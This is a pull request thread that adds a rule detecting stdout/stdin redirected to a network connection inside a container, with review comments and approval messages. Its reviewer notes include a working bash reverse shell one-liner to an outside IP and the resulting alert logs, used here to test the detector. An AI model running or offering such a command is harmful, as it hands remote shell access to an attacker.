rule update: add a rule to detect reverse shell

[Kaizhe]

Signed-off-by: kaizhe derek0405@gmail.com

What type of PR is this?

Uncomment one (or more) /kind <> lines:

/kind bug

/kind cleanup

/kind design

/kind documentation

/kind failing-test

/kind feature

If contributing rules or changes to rules, please make sure to also uncomment one of the following line:

/kind rule-update

/kind rule-create

Any specific area of the project related to this PR?

Uncomment one (or more) /area <> lines:

/area build

/area engine

/area examples

/area rules

/area integrations

/area tests

/area proposals

What this PR does / why we need it:
Detect reverse shell connection from a container.

Which issue(s) this PR fixes:

Fixes #

Special notes for your reviewer:
/bin/bash -i >& /dev/tcp/34.204.xxx.xxx/1234 0>&1 -- reverse shell execution

18:27:10.379958969: Warning Reverse shell connection (user=root nginx (id=bb52e96baba9) process=bash parent=bash cmdline=bash terminal=34816 container_id=bb52e96baba9 image=nginx fd.name=172.17.0.2:50190->34.204.205.146:1234 fd.num=1 fd.type=ipv4 fd.sip=34.204.205.146)
18:27:10.379959879: Warning Reverse shell connection (user=root nginx (id=bb52e96baba9) process=bash parent=bash cmdline=bash terminal=34816 container_id=bb52e96baba9 image=nginx fd.name=172.17.0.2:50190->34.204.205.146:1234 fd.num=1 fd.type=ipv4 fd.sip=34.204.205.146)

Does this PR introduce a user-facing change?:

rule(Redirect STDOUT/STDIN to Network Connection in Container): new rule to detect Redirect stdout/stdin to network connection in container

[mstemm]

Can you make the rule name more specific to the actual behavior, something like "redirecting stdout to network connection in container"? There could be all kinds of reverse shells that don't use this technique.

[Kaizhe]

Done. Thanks!

[poiana]

LGTM label has been added.

Git tree hash: 080e7989d2774ea938d72f736b8895a691bcca04

[poiana]

[APPROVALNOTIFIER] This PR is APPROVED

This pull-request has been approved by: fntlnz, mstemm

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[fntlnz]

Great work, thanks @Kaizhe

[fntlnz]

@Kaizhe I updated the description to let it work correctly in the changelog.

[Kaizhe]

Thanks a lot @fntlnz !